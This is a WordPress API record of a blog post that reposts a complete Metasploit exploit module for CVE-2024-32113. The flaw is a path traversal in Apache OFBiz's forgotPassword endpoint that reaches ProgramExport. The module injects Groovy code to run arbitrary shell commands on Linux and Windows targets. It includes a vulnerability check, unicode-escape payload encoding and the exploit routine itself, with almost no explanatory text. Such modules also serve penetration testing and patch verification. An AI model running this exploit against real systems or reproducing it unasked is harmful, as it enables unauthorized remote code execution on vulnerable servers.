{"id":57536,"date":"2024-06-18T17:42:21","date_gmt":"2024-06-18T14:42:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179138\/apache_ofbiz_forgot_password_directory_traversal.rb.txt"},"modified":"2024-06-18T17:42:21","modified_gmt":"2024-06-18T14:42:21","slug":"apache-ofbiz-forgot-password-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-ofbiz-forgot-password-directory-traversal\/","title":{"rendered":"Apache OFBiz Forgot Password Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Apache OFBiz Forgot Password Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable<br \/>endpoint \/webtools\/control\/forgotPassword allows an attacker to access the ProgramExport endpoint which in<br \/>turn allows for remote code execution in the context of the user running the application.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Mr-xn&#8217;, # PoC<br \/>&#8216;jheysel-r7&#8217; # module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Mr-xn\/CVE-2024-32113&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/xz.aliyun.com\/t\/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&amp;alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-32113&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; %w[linux win],<br \/>&#8216;Privileged&#8217; =&gt; true, # You get a root session when exploiting a docker container though user level session on Windows.<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Linux Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;, &#8216;unix&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Type&#8217; =&gt; :win_cmd<br \/>}<br \/>],<br \/>],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x3a&#8221;<br \/>},<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-30&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]},<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 8443<br \/>}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def send_cmd_injection(cmd)<br \/>data = &#8220;groovyProgram=throw+new+Exception(&#8216;#{cmd}&#8217;.execute().text);&#8221;<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/webtools\/control\/forgotPassword;\/ProgramExport&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;HOST&#8217; =&gt; &#8216;127.0.0.1&#8217;<br \/>},<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;data&#8217; =&gt; data<br \/>})<br \/>end<\/p>\n<p>def check<br \/>echo_test_string = rand_text_alpha(8..12)<br \/>case target[&#8216;Type&#8217;]when :win_cmd<br \/>test_payload = to_unicode_escape(&#8220;cmd.exe \/c echo #{echo_test_string}&#8221;)<br \/>when :unix_cmd<br \/>test_payload = to_unicode_escape(&#8220;echo #{echo_test_string}&#8221;)<br \/>else<br \/>return CheckCode::Unknown(&#8216;Please select a valid target&#8217;)<br \/>end<\/p>\n<p>res = send_cmd_injection(test_payload)<br \/>return CheckCode::Unknown(&#8216;Target did not respond to check.&#8217;) unless res<\/p>\n<p>unless res.get_html_document&amp;.xpath(&#8220;\/\/div[@class=&#8217;content-messages errorMessage&#8217; and .\/\/p[contains(text(), &#8216;java.lang.Exception: #{echo_test_string}&#8217;)]]&#8221;)&amp;.empty?<br \/>return CheckCode::Vulnerable(&#8216;Tested remote code execution successfully&#8217;)<br \/>end<\/p>\n<p>CheckCode::Safe(&#8216;Attempting to exploit vulnerability failed.&#8217;)<br \/>end<\/p>\n<p>def to_unicode_escape(str)<br \/>str.chars.map { |char| &#8216;\\\\u%04x&#8217; % char.ord }.join<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8216;Attempting to exploit&#8230;&#8217;)<br \/>res = &#8221;<br \/>case target[&#8216;Type&#8217;]when :win_cmd<br \/>res = send_cmd_injection(payload.encoded)<br \/>when :unix_cmd<br \/>res = send_cmd_injection(to_unicode_escape(&#8220;sh -c $@|sh . echo #{payload.raw}&#8221;))<br \/>else<br \/>fail_with(Failure::BadConfig, &#8216;Invalid target specified&#8217;)<br \/>end<br \/>print_error(&#8216;The target responded to the exploit attempt which is not expected. The exploit likely failed&#8217;) if res<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Apache OFBiz Forgot Password Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerableendpoint \/webtools\/control\/forgotPassword allows an attacker to access the ProgramExport endpoint which &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57536","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57536"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57536\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}